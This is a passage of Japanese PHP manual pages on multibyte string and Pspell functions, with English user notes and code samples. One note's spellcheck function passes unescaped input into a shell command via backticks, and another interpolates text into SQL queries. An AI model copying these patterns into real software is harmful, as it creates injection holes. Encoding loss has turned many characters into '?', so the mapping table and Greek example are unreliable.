        , "?"    => "?"        //  8104 ->  8096
        , "?"    => "?"        //  8105 ->  8097
        , "?"    => "?"        //  8106 ->  8098
        , "?"    => "?"        //  8107 ->  8099
        , "?"    => "?"        //  8108 ->  8100
        , "?"    => "?"        //  8109 ->  8101
        , "?"    => "?"        //  8110 ->  8102
        , "?"    => "?"        //  8111 ->  8103
        , "?"    => "?"        //  8124 ->  8115
        , "?"    => "?"        //  8140 ->  8131
        , "?"    => "?"        //  8188 ->  8179
        , "Ⅰ"    => "ⅰ"        //  8544 ->  8560
        , "Ⅱ"    => "ⅱ"        //  8545 ->  8561
        , "Ⅲ"    => "ⅲ"        //  8546 ->  8562
        , "Ⅳ"    => "ⅳ"        //  8547 ->  8563
        , "Ⅴ"    => "ⅴ"        //  8548 ->  8564
        , "Ⅵ"    => "ⅵ"        //  8549 ->  8565
        , "Ⅶ"    => "ⅶ"        //  8550 ->  8566
        , "Ⅷ"    => "ⅷ"        //  8551 ->  8567
        , "Ⅸ"    => "ⅸ"        //  8552 ->  8568
        , "Ⅹ"    => "ⅹ"        //  8553 ->  8569
        , "?"    => "?"        //  8554 ->  8570
        , "?"    => "?"        //  8555 ->  8571
        , "?"    => "?"        //  8556 ->  8572
        , "?"    => "?"        //  8557 ->  8573
        , "?"    => "?"        //  8558 ->  8574
        , "?"    => "?"        //  8559 ->  8575
        , "?"    => "?"        //  9398 ->  9424
        , "?"    => "?"        //  9399 ->  9425
        , "?"    => "?"        //  9400 ->  9426
        , "?"    => "?"        //  9401 ->  9427
        , "?"    => "?"        //  9402 ->  9428
        , "?"    => "?"        //  9403 ->  9429
        , "?"    => "?"        //  9404 ->  9430
        , "?"    => "?"        //  9405 ->  9431
        , "?"    => "?"        //  9406 ->  9432
        , "?"    => "?"        //  9407 ->  9433
        , "?"    => "?"        //  9408 ->  9434
        , "?"    => "?"        //  9409 ->  9435
        , "?"    => "?"        //  9410 ->  9436
        , "?"    => "?"        //  9411 ->  9437
        , "?"    => "?"        //  9412 ->  9438
        , "?"    => "?"        //  9413 ->  9439
        , "?"    => "?"        //  9414 ->  9440
        , "?"    => "?"        //  9415 ->  9441
        , "?"    => "?"        //  9416 ->  9442
        , "?"    => "?"        //  9417 ->  9443
        , "?"    => "?"        //  9418 ->  9444
        , "?"    => "?"        //  9419 ->  9445
        , "?"    => "?"        //  9420 ->  9446
        , "?"    => "?"        //  9421 ->  9447
        , "?"    => "?"        //  9422 ->  9448
        , "?"    => "?"        //  9423 ->  9449
        , "??"    => "??"        // 66598 -> 66638
        , "??"    => "??"        // 66599 -> 66639
        );

    $utf8_string    = mb_strtolower( $utf8_string, "UTF-8");

    $utf8_string    = strtr( $utf8_string, $additional_replacements );

    return $utf8_string;
} //strtolower_utf8_extended()

?>
Ken Shiro 31-Jul-2010 02:07
[If you get this error:]
Fatal error: Call to undefined function: mb_strtolower() in ????.php on line ??

The PHP mbstring extension, which is required to handle international character sets, is not available on your server. Check your PHP configuration and make sure that PHP has been compiled with --enable-mbstring.

It's also apply to
Call to undefined function mb_eregi() / mb_strtolower()
Philipp H 01-Nov-2007 10:11
Note that mb_strtolower() is very SLOW, if you have a database connection, you may want to use it to convert your strings to lower case. Even latin1/9 (iso-8859-1/15) and other encodings are possible.

Have a look at my simple benchmark:

<?php

$text = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Sed ligula. Praesent justo tellus, gravida eu, tempus a, mattis non, orci. Nam quis lorem. Nam aliquet elit sed elit. Phasellus venenatis justo eget enim. Donec nisl. Proin mattis venenatis justo. Sed aliquam porta orci. Cras elit nisl, convallis quis, tincidunt at, vehicula accumsan, odio. Sed molestie. Etiam mollis feugiat elit. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Maecenas non nulla.";

// mb_strtolower()
$timeMB = microtime(true);

    for($i=0;$i<30000;$i++)
        $lower = mb_strtolower("$text/no-cache-$i");

$timeMB = microtime(true) - $timeMB;

// MySQL lower()
$timeSQL = microtime(true);

    mysql_query("set names latin1");
    for($i=0;$i<30000;$i++) {
        $r = mysql_fetch_row(mysql_query("select lower('$text/no-cache-$i')"));
        $lower = $r[0];
    }

$timeSQL = microtime(true) - $timeSQL;

echo "mb: ".sprintf("%.5f",$timeMB)." sek.<br />";
echo "sql: ".sprintf("%.5f",$timeSQL)." sek.<br />";

// Result on my notebook:
// mb: 11.50642 sek.
// sql: 5.44143 sek.

?>
btherl at yahoo dot com dot au 15-Nov-2005 09:12
If you use this function on a unicode string without telling PHP that it is unicode, then you will corrupt your string.  In particular, the uppercase 'A' with tilde, common in 2-byte UTF-8 characters, is converted to lowercase 'a' with tilde.

This can be handled correctly by:
$str = mb_strtolower($str, mb_detect_encoding($str));

Or if you know your data is UTF-8, just use the string "UTF-8" as the second argument.

You should check also that mb_detect_encoding() is checking the encodings you want it to check, and is detecting the correct encodings.


文字列を大文字にする

  • ≪ mb_strtolower
  • mb_strwidth ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列を大文字にする

mb_strtoupper

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_strtoupper — 文字列を大文字にする

説明

mb_strtoupper ( string $string , string|null $encoding = null ) : string

string のすべてのアルファベットを大文字にして返します。

パラメータ

string

大文字に変換したい文字列。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

string のすべてのアルファベットを大文字にしたものを返します。

Unicode

Unicode 文字属性についての詳細は » http://www.unicode.org/reports/tr21/ を参照してください。

strtoupper()と違い、アルファベットであるかどうかは Unicode 文字属性をもとに決定されます。したがって、この関数の挙動は ロケールの設定に影響されず、すべてのアルファベット、 例えば A ウムラウト (a) を変換することができます。

例

例1 mb_strtoupper() の例

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtoupper($str);
echo $str; // 結果は MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

例2 非ラテン UTF-8 テキストでの mb_strtoupper() の例

<?php
$str = "Τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??";
$str = mb_strtoupper($str, 'UTF-8');
echo $str; // 結果は Τ?ΧΙΣΤΗ ΑΛ?ΠΗΞ ΒΑΦ?Σ ΨΗΜ?ΝΗ ΓΗ, ΔΡΑΣΚΕΛ?ΖΕΙ ΥΠ?Ρ ΝΩΘΡΟ? ΚΥΝ?Σ
?>

参考

  • mb_strtolower() - 文字列を小文字にする
  • mb_convert_case() - 文字列に対してケースフォールディングを行う
  • strtoupper() - 文字列を大文字にする

User Contributed Notes

serg_x 30-Sep-2019 04:28
Only first letter

function mb_ucfirst($string, $encoding = 'UTF-8'){
  $strlen = mb_strlen($string, $encoding);
  $firstChar = mb_substr($string, 0, 1, $encoding);
  $then = mb_substr($string, 1, $strlen - 1, $encoding);
  return mb_strtoupper($firstChar, $encoding) . $then;
}


文字列の幅を返す

  • ≪ mb_strtoupper
  • mb_substitute_character ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列の幅を返す

mb_strwidth

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strwidth — 文字列の幅を返す

説明

mb_strwidth ( string $string , string|null $encoding = null ) : int

文字列 string の幅を返します。 半角文字は 1 として、 全角文字は 2 として数えます。 東アジアの文字の長さに関する詳細は » http://www.unicode.org/reports/tr11/ を参照して下さい。

全角文字は次のとおりです。 U+1100-U+115F、 U+11A3-U+11A7、 U+11FA-U+11FF、 U+2329-U+232A、 U+2E80-U+2E99、 U+2E9B-U+2EF3、 U+2F00-U+2FD5、 U+2FF0-U+2FFB、 U+3000-U+303E、 U+3041-U+3096、 U+3099-U+30FF、 U+3105-U+312D、 U+3131-U+318E、 U+3190-U+31BA、 U+31C0-U+31E3、 U+31F0-U+321E、 U+3220-U+3247、 U+3250-U+32FE、 U+3300-U+4DBF、 U+4E00-U+A48C、 U+A490-U+A4C6、 U+A960-U+A97C、 U+AC00-U+D7A3、 U+D7B0-U+D7C6、 U+D7CB-U+D7FB、 U+F900-U+FAFF、 U+FE10-U+FE19、 U+FE30-U+FE52、 U+FE54-U+FE66、 U+FE68-U+FE6B、 U+FF01-U+FF60、 U+FFE0-U+FFE6、 U+1B000-U+1B001、 U+1F200-U+1F202、 U+1F210-U+1F23A、 U+1F240-U+1F248、 U+1F250-U+1F251、 U+20000-U+2FFFD、 U+30000-U+3FFFD。 他のすべての文字は半角の文字です。

パラメータ

string

幅を取得したい文字列。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

文字列 string の幅を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 mb_strwidth() example

<?php
var_dump(
    mb_strwidth('a'),       // LATIN SMALL LETTER A
    mb_strwidth("\u{ff41}") // FULLWIDTH LATIN SMALL LETTER A
);
?>

上の例の出力は以下となります。

int(1)
int(2)

参考

  • mb_strimwidth() - 指定した幅で文字列を丸める
  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する

User Contributed Notes

Adam Altman 15-Jan-2014 03:51
Important, if you're looking to trim/cut/truncate a string so that it will fit a certain byte size (for example to fit in a database field), look at:  mb_strcut()
Anonymous 31-Oct-2007 04:27
Note: mb_strwidth is NOT returning bytes.  It's returning the width of monotype characters.  (In some languages, some characters will take up 2 character widths if displayed in monotype.)


置換文字を設定あるいは取得する

  • ≪ mb_strwidth
  • mb_substr_count ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 置換文字を設定あるいは取得する

mb_substitute_character

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_substitute_character — 置換文字を設定あるいは取得する

説明

mb_substitute_character ( string|int|null $substitute_character = null ) : string|int|bool

入力文字エンコーディングが無効、 または出力文字エンコーディングに文字コードが存在しない場合の代替文字を指定します。 無効な文字は、"none" (出力しない)、文字列または整数値 (Unicode 文字コード値) に置換することが可能です。

この設定は、mb_convert_encoding()、
mb_convert_variables()、
mb_output_handler()、
および mb_send_mail() に影響します。

パラメータ

substitute_character

Unicode 値の整数または文字列を以下のように指定します。

  • "none": 出力しない
  • "long": 文字コードの値を出力する (例: U+3000、JIS+7E7E)
  • "entity": 文字エンティティを出力する (例: &#x200;)

返り値

substitute_character が設定された場合、成功時に true、そうでない場合に false を返します。 substitute_character が設定されない場合は、現在の設定を返します。

変更履歴

バージョン | 説明
8.0.0 | substitute_character に空文字列を渡すことはサポートされなくなりました。 代わりに "none" を渡すべきです。
8.0.0 | encoding は、nullable になりました。

例

例1 mb_substitute_character() の例

<?php
/* Unicode U+3013 (ゲタ記号)を設定 */
mb_substitute_character(0x3013);

/* HEX フォーマットを設定 */
mb_substitute_character("long");

/* 現在の設定を表示 */
echo mb_substitute_character();
?>

User Contributed Notes

There are no user contributed notes for this page.


部分文字列の出現回数を数える

  • ≪ mb_substitute_character
  • mb_substr ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 部分文字列の出現回数を数える

mb_substr_count

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_substr_count — 部分文字列の出現回数を数える

説明

mb_substr_count ( string $haystack , string $needle , string|null $encoding = null ) : int

文字列 haystack の中での部分文字列 needle の出現回数を数えます。

パラメータ

haystack

調べたい文字列。

needle

見つける文字列。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

文字列 haystack の中での部分文字列 needle の出現回数を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 mb_substr_count() の例

<?php
echo mb_substr_count("これはてすとです。", "す"); // 2 を出力する
?>

参考

  • mb_strpos() - 文字列の中に指定した文字列が最初に現れる位置を見つける
  • mb_substr() - 文字列の一部を得る
  • substr_count() - 副文字列の出現回数を数える

User Contributed Notes

There are no user contributed notes for this page.


文字列の一部を得る

  • ≪ mb_substr_count
  • Pspell ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列の一部を得る

mb_substr

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_substr — 文字列の一部を得る

説明

mb_substr ( string $string , int $start , int|null $length = null , string|null $encoding = null ) : string

文字数に基づきマルチバイト対応の substr() 処理を行います。位置は、 string の始めから数えられます。 最初の文字の位置は 0、2 番目の文字の位置は 1、といったようになります。

パラメータ

string

部分文字列を取り出したい文字列。

start

start が非負である場合に返される文字列は、 string の start バイト目以降の文字列となります (ゼロから数えます)。 たとえば、文字列 'abcdef' の 0 バイト目は 'a' で、 2 バイト目は 'c' のようになります。

start が負の数の場合に返される文字列は、 string の後ろから数えて start バイト目以降となります。

length

string の中から取り出す最大文字数。 省略したり NULL を渡したりした場合は、 文字列の最後までの全バイトを取り出します。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

mb_substr() は、start および length パラメータで指定した string の一部を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • mb_strcut() - 文字列の一部を得る
  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する

User Contributed Notes

qdinar at gmail dot com 27-Jun-2016 04:06
you can make mb_substr working faster with long strings with usage of ucs-2 encoding.

<?php

header('Content-Type: text/html; CHARSET=shift-jis');
echo '<meta http-equiv="Content-Type" content="text/html; CHARSET=shift-jis" >';

function test($string, $encoding='utf8'){
    $t1=microtime(true);
    $textlen=mb_strlen($string);
    $substr_len=3;
    for($i=0;$i<$textlen-$substr_len+1;$i++){
        $substr=mb_substr($string,$i,$substr_len);
    }
    echo 'mb_substr, '.$encoding.': '.(microtime(true)-$t1);
    echo ' . check: ';
    if($encoding=='ucs2'){
        $substr=mb_convert_encoding($substr,'utf-8','ucs2');
    }
    var_dump( $substr );
    echo ' . <br>';
    echo '<br>';
}

$corpus_short=str_repeat('тест Тест ',1000);
// it works likewise slowly with "test Test" with utf8
mb_internal_encoding('utf-8');
test($corpus_short);

$corpus_short_ucs2=mb_convert_encoding($corpus_short,'ucs2','utf-8');
mb_internal_encoding('ucs2');
test($corpus_short_ucs2,'ucs2');

?>

output:

mb_substr, utf8: 0.26480984687805 . check: string(5) "ст " .

mb_substr, ucs2: 0.0048871040344238 . check: string(5) "ст " .
qbolec at gmail dot com 05-Aug-2015 03:10
As you often need to iterate over UTF-8 characters inside a string, you might be tempted to use mb_substr($text,$i,1).
The problem with this is that there is no "magic" way to find $i-th character inside UTF-8 string, other than reading it byte by byte from the begining. Thus a loop which calls mb_substr($text,$i,1) N times for all possible N values of $i, will take much longer than expected. The larger the $i gets, the longer is the search for $i-th letter. As characters are between 1 to 6 bytes long, one can convince oneself, that the execution time of such loop is actually Theta(N^2), which can be really slow even for moderately long texts.
One way to work around it is to first split your text into an array of letters using some smart preprocessing, and only then iterate over the array.
Here is the idea:
<?php
class Strings
{
  public static function len($a){
    return mb_strlen($a,'UTF-8');
  }
  public static function charAt($a,$i){
    return self::substr($a,$i,1);
  }
  public static function substr($a,$x,$y=null){
    if($y===NULL){
      $y=self::len($a);
    }
    return mb_substr($a,$x,$y,'UTF-8');
  }
  public static function letters($a){
    $len = self::len($a);
    if($len==0){
      return array();
    }else if($len == 1){
      return array($a);
    }else{
      return Arrays::concat(
        self::letters(self::substr($a,0,$len>>1)),
        self::letters(self::substr($a,$len>>1))
      );
    }
  }
?>
As you can see, the Strings::letters($text) split the text recursively into two parts. Each level of the recursion requires time linear in the length of the string, and there is logarithmic number of levels, so the total runtime is O(N log N), which is still more than theoretically optimal O(N), but sadly this is the best idea I've got.
sanjuro at 1up-games dot com 27-Sep-2013 06:18
A serious pitfall when using mb_substr() set to HTML-ENTITIES encoding is that the function performs a number of conversions before returning the value, the worst one being that html special characters are not just counted but decoded.

<?php

mb_internal_encoding("ISO-8859-1"); echo mb_internal_encoding(),"\n<br><br>\n";

$a='j&uuml;st &#228; &quot; simple &quot; &#26085;&#26412; &lt;b&gt;test&lt;/b&gt;';

echo mb_substr($a,0),"\n<br><br>\n";
// page source: j&uuml;st &#228; &quot; simple &quot; &#26085;&#26412; &lt;b&gt;test&lt;/b&gt;

echo mb_substr($a,0,strlen($a),'HTML-ENTITIES');
// page source: j&uuml;st &auml; " simple " &#26085;&#26412; <b>test</b>

?>
desmatic at gmail dot com 29-Apr-2013 03:51
quick and dirty loop through multibyte string
<?php
function get_character_classes($string, $encoding = "UTF-8") {
    $current_encoding = mb_internal_encoding();
    mb_internal_encoding($encoding);
    $has = array();
    $stringlength = mb_strlen($string, $encoding);
    for ($i=0; $i < $stringlength; $i++) {
        $c = mb_substr($string, $i, 1);
        if (($c >= "0") && ($c <= "9")) {
            $has['numeric'] = "numeric";
        } else if (($c >= "a") && ($c <= "z")) {
            $has['alpha'] = "alpha";
            $has['alphalower'] = 'alphalower';
        } else if (($c >= "A") && ($c <= "Z")) {
            $has['alpha'] = "alpha";
            $has['alphaupper'] = "alphaupper";
        } else if (($c == "$") || ($c == "￡")) {
            $has['currency'] = "currency";
        } else if (($c == ".") && ($has['decimal'])) {
            $has['decimals'] = "decimals";
        } else if ($c == ".") {
            $has['decimal'] = "decimal";
        } else if ($c == ",") {
            $has['comma'] = "comma";
        } else if ($c == "-") {
            $has['dash'] = "dash";
        } else if ($c == " ") {
            $has['space'] = "space";
        } else if ($c == "/") {
            $has['slash'] = "slash";
        } else if ($c == ":") {
            $has['colon'] = "colon";
        } else if (($c >= " ") && ($c <= "~")) {
            $has['ascii'] = "ascii";
        } else {
            $has['binary'] = "binary";
        }
    }
    mb_internal_encoding($current_encoding);

    return $has;
}

$string = "1234asdfA￡^_{}|}~????";
echo print_r(get_character_classes($string), true);
?>

Array
(
    [numeric] => numeric
    [alpha] => alpha
    [alphalower] => alphalower
    [alphaupper] => alphaupper
    [currency] => currency
    [ascii] => ascii
    [binary] => binary
)
p dot assenov at aip-solutions dot com 02-Dec-2011 09:17
I'm trying to capitalize only the first character of the string and tried some of the examples above but they didn't work. It seems mb_substr() cannot calculate the length of the string in multi-byte encoding (UTF-8) and it should be set explicitly. Here is the corrected version:

<?php
function mb_ucfirst($str, $enc = 'utf-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>

cheers!
projektas at gmail dot com 21-Oct-2008 06:29
First letter in upper case <hr />

<?php
header ('Content-type: text/html; CHARSET=shift-jis');

if (isset($_POST['check']) && !empty($_POST['check'])) {
    echo htmlspecialchars(ucfirst_utf8($_POST['check']));
} else {
    echo htmlspecialchars(ucfirst_utf8('??sin?'));
}

function ucfirst_utf8($str) {
    if (mb_check_encoding($str,'UTF-8')) {
        $first = mb_substr(
            mb_strtoupper($str, "utf-8"),0,1,'utf-8'
        );
        return $first.mb_substr(
            mb_strtolower($str,"utf-8"),1,mb_strlen($str),'utf-8'
        );
    } else {
        return $str;
    }
}
?>

<form method="post" action="" >
    <input type="input" name="check" />
    <input type="submit" />
</form>
Silvan 01-Sep-2007 03:30
Passing null as length will not make mb_substr use it's default, instead it will interpret it as 0.
<?php
mb_substr($str,$start,null,$encoding); //Returns '' (empty string) just like substr()
?>
Instead use:
<?php
mb_substr($str,$start,mb_strlen($str),$encoding);
?>
xiaogil at yahoo dot fr 02-Aug-2005 08:33
Thanks Darien from /freenode #php for the following example (a little bit changed).

It just prints the 6th character of $string.
You can replace the digits by the same in japanese, chinese or whatever language to make a test, it works perfect.

<?php
mb_internal_encoding("UTF-8");
$string = "0123456789";
$mystring = mb_substr($string,5,1);
echo $mystring;
?>

(I couldn't replace 0123456789 by chinese numbers for example here, because it's automatically converted into latin digits on this website, look :
&#38646;&#19968;&#20108;&#19977;&#22235;
&#20116;&#20845;&#19971;&#20843;&#20061;)

gilv
drraf at tlen dot pl 23-Feb-2005 06:44
Note: If borders are out of string - mb_string() returns empty _string_, when function substr() returns _boolean_ false in this case.
Keep this in mind when using "===" comparisions.

Example code:
<?php

var_dump( substr( 'abc', 5, 2 ) ); // returns "false"
var_dump( mb_substr( 'abc', 5, 2 ) ); // returns ""

?>

It's especially confusing when using mbstring with function overloading turned on.


Pspell

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Pspell 関数
    • pspell_add_to_personal — ユーザーの単語リストに単語を追加する
    • pspell_add_to_session — 現在のセッションの単語リストに単語を追加する
    • pspell_check — 単語をチェックする
    • pspell_clear_session — 現在のセッションをクリアする
    • pspell_config_create — 辞書をオープンする際に使用する設定を作成する
    • pspell_config_data_dir — Location of language data files
    • pspell_config_dict_dir — メイン単語リストの場所
    • pspell_config_ignore — 長さが N 文字未満の単語を無視する
    • pspell_config_mode — 返される提案の数のモードを変更する
    • pspell_config_personal — 個人の単語リストを保持するファイルを設定する
    • pspell_config_repl — 置換候補を保持するファイルを設定する
    • pspell_config_runtogether — 複合語を有効な単語の組み合わせとして考慮する
    • pspell_config_save_repl — 単語リストと共に置換リストを保存するかどうかを定義する
    • pspell_new_config — 指定した設定に基づき新規辞書をロードする
    • pspell_new_personal — 個人の単語リストを有する新規辞書をロードする
    • pspell_new — 新規辞書をロードする
    • pspell_save_wordlist — 個人の単語リストをファイルに保存する
    • pspell_store_replacement — 単語を置換する組を保存する
    • pspell_suggest — 単語のスペルについて修正候補を示す

User Contributed Notes

Andreas 20-Sep-2013 07:38
I've checked sources of PHP versions 5.3.27 and 5.5.4

Both include pspell:
php-5.5.4/ext/pspell
php-5.3.27/ext/pspell

Nevertheless, if you use precompiled versions you may have a different impression (e.g. on Ubuntu you need to install the package php5-pspell).


はじめに

これらの関数により、単語のスペルチェックを行い、修正案を提案させる ことが可能となります。

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP を pspell サポートつきでコンパイルするには、aspellライブラリが 必要です。これは、» http://aspell.net/ で取得可能です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP をコンパイルする際に、オプション --with-pspell[=dir] を追加する 必要があります。

注意: Win32 ユーザーへの注意

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 aspell の bin フォルダにある aspell-15.dll

Win32 サポートは、aspell バージョン 0.50 以降が必要です。

User Contributed Notes

chapman at wtinds dot com 11-Feb-2020 03:39
If you are compiling v7.3.x under CentOS 8, you will need to first enable PowerTools, then install aspell-devel - otherwise aspell-devel will not be available to you:

sudo dnf config-manager --set-enabled PowerTools
sudo dnf install -y aspell-devel

Then in your configure line, just use:

--with-pspell

NOT

--with-pspell=/some/dir
juliusdavies at gmail dot com 18-Mar-2009 04:06
Aspell + PHP + Windows was giving me just crazy crashes with this simple test file:

<?php
$pspell_link = pspell_new("en");
?>

Running "php -f test.php" directly from a DOS prompt shed some light:

----------------
The file "C:\Program Files\Aspell\data/iso8859-1.dat" can not be opened for reading.pell\dict/en-only.rws:
----------------

To fix it I needed to "dos2unix" all the files in Aspell's C:\Program Files\Aspell\data\ directory.  (Convert them from CRLF to just LF line endings).


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

PSPELL_FAST (int)
PSPELL_NORMAL (int)
PSPELL_BAD_SPELLERS (int)
PSPELL_RUN_TOGETHER (int)

User Contributed Notes

There are no user contributed notes for this page.


Pspell 関数

目次

  • pspell_add_to_personal — ユーザーの単語リストに単語を追加する
  • pspell_add_to_session — 現在のセッションの単語リストに単語を追加する
  • pspell_check — 単語をチェックする
  • pspell_clear_session — 現在のセッションをクリアする
  • pspell_config_create — 辞書をオープンする際に使用する設定を作成する
  • pspell_config_data_dir — Location of language data files
  • pspell_config_dict_dir — メイン単語リストの場所
  • pspell_config_ignore — 長さが N 文字未満の単語を無視する
  • pspell_config_mode — 返される提案の数のモードを変更する
  • pspell_config_personal — 個人の単語リストを保持するファイルを設定する
  • pspell_config_repl — 置換候補を保持するファイルを設定する
  • pspell_config_runtogether — 複合語を有効な単語の組み合わせとして考慮する
  • pspell_config_save_repl — 単語リストと共に置換リストを保存するかどうかを定義する
  • pspell_new_config — 指定した設定に基づき新規辞書をロードする
  • pspell_new_personal — 個人の単語リストを有する新規辞書をロードする
  • pspell_new — 新規辞書をロードする
  • pspell_save_wordlist — 個人の単語リストをファイルに保存する
  • pspell_store_replacement — 単語を置換する組を保存する
  • pspell_suggest — 単語のスペルについて修正候補を示す

User Contributed Notes

golotyuk at gmail dot com 24-Dec-2009 01:40
Manuall php installation on Debian/Ubuntu will require you to:

apt-get install libpspell-dev
dylan at wedefy dot com 18-Oct-2007 05:36
preg_replace_callback() is the best way I found to check words in a large text and change the HTML color of words that are not found.  Here is a script I wrote which does just that, and optionally uses pspell_suggest() to auto-correct. I would love to write a better regex to ignore <text inside xml tags>, but that really isn't as easy as it sounds...
<?php
$pspell = pspell_new('en','canadian','','utf-8',PSPELL_FAST);

function spellCheckWord($word) {
    global $pspell;
    $autocorrect = TRUE;

    // Take the string match from preg_replace_callback's array
    $word = $word[0];

    // Ignore ALL CAPS
    if (preg_match('/^[A-Z]*$/',$word)) return $word;

    // Return dictionary words
    if (pspell_check($pspell,$word))
        return $word;

    // Auto-correct with the first suggestion, color green
    if ($autocorrect && $suggestions = pspell_suggest($pspell,$word))
        return '<span style="color:#00FF00;">'.current($suggestions).'</span>';

    // No suggestions, color red
    return '<span style="color:#FF0000;">'.$word.'</span>';
}

function spellCheck($string) {
    return preg_replace_callback('/\b\w+\b/','spellCheckWord',$string);
}

echo spellCheck('PHP is a reflecktive proegramming langwage origenaly dezigned for prodewcing dinamic waieb pagges.');
?>
OUTPUT: PHP is a reflective programming language originally designed for producing dynamic Web pages.
fragment 11-Apr-2007 10:12
To get round the error on Windows where the word list can't be found inside functions, take the call to pspell_new() out of the function and pass the return value to your function, i.e.

<?
function testSpell($pspell_link) {
    echo pspell_check($pspell_link, "test") ? 'OK' : 'Not OK';
}
$pspell_link = pspell_new("en");
testSpell($pspell_link);
?>
Alan Dunsmuir<alan at moonrake dot demon dot co dot uk> 14-Mar-2007 01:28
There appears to be a problem currently affecting PSpell functionality on Windows machines.

Currently, the compiled build of PHP5 for Windows does not by default include PSpell, and to activate these functions the Windows user has to (a) install GNU ASpell; (b) copy the file aspell-15.dll to a directory in the Windows "Path" statement (typically C:\Windows\System32); (c) install one or more ASpell dictionaries; (d) enable the PSpell extension to PHP by adding a reference to php_pspell.dll in the php.ini file, and moving the file itself to the main PHP directory.

However, when this has all been done and PSpell appears to have been fully activated, there remains a problem. While all the PSpell functions work as specified when referenced from the "main" body of PHP code, if they are placed within a PHP function, the system reports that it is unable to find any word lists for the specified dictionary (whichever one is chosen).

I have a sample of PSpell-using code (taken from the SAMS book PHP 5 In Practice) which works perfectly on a Unix-based Web Server, but which fails with the indicated error message on a range of Windows machines.
sholland at napervillegi dot com 28-Oct-2006 11:48
Back in 10/2002 csnyder at chxo dot com wrote the first comment about the spell functions, and wrote a very sophisticated spell check with a direct call to aspell.  In a similar vein, I wrote a simplified a PHP function that will spell check a string and insert tags before and after the misspelled words. Auto-correction is not offered.

<?
function spellcheck($string) {
// Entry:    $string: Text to spellcheck.
// Returns: string with '<strong>' and '</strong>' inserted before and
//            after misspellings.

    $pre='<strong>'; // Inserted before each mis-spelling.
    $post='</strong>'; // Inserted after each mis-spelling.
    $string=strtr($string,"\n"," ");
        // Drop newlines in string. (It bothers aspell in this context.)
    $mistakes = `echo $string | /usr/local/bin/aspell list`;
        // Get list or errors.
    $offset=0;
    foreach (explode("\n",$mistakes) as $word)
        // Walk list, inserting $pre and $post strings.  I move along and
        // do the insertions, keeping track of the location.  A global replace
        // with str_replace($string,$pre.$work.$post) is problematic if the
        // same misspelling is found more than once.
        if ($word<>"") {
            $offset=strpos($string,$word,$offset);
            $string=substr_replace($string, $post, $offset+strlen($word), 0);
            $string=substr_replace($string, $pre, $offset, 0);
            $offset=$offset+strlen($word)+strlen("$pre $post");
            };
    return $string;};
?>

For this to work on your system, see if /usr/local/bin/aspell list runs from the shell.  It needs to get input from standard input.  You may not be able to run apell without the path for PHP because the PATH variable may be different in the PHP invocation from a shell invocation.
andrew at bluerhinos dot co dot uk 03-May-2006 03:28
If you use red hat or fedora, you may need to is use

  yum install pspell-devel

(fixes: configure: error: Cannot find pspell)
jeremy hepler 29-Mar-2006 12:01
compiling php with pspell on debian sarge:

apt-get install aspell libaspell15 libaspell-dev libpspell-dev

configure php:

./configure <your other options> --with-pspell=/usr

make & install

if previous tries have failed or it is not functioning properly, unpack the php source again and configure / compile in a fresh tree
Gregory Boshoff 13-May-2005 04:23
If you are receiving the error message:
PSPELL couldn't open the dictionary. reason:
No word lists can be found for the language "en".

Add following lines prior to calling pspell_check:
$pspell_config = pspell_config_create("en");
$pspell_link = pspell_new_config($pspell_config);
flint at modulusgroup dot com 29-Dec-2004 02:19
For those will problems installing on Win32 with IIS:

Symptom: browser just hangs when calling pspell function. Running PHP.exe from command line causes pspell to claim that there is a corrupt file. Running Aspell works just fine on the command line.

You need new data files:

You can download and get more information about it here:
http://wiki.wordpress.org/SpellCheck

Just replace the data directory in C:\Programs Files\Aspell\ with the new data directory you downloaded.

No more problems.
tidd 28-Sep-2004 10:31
In response to csnyder's comment about calling aspell instead of using the aspell or pspell libs:

If you are running a low traffic site this will work fine and it's a good idea.

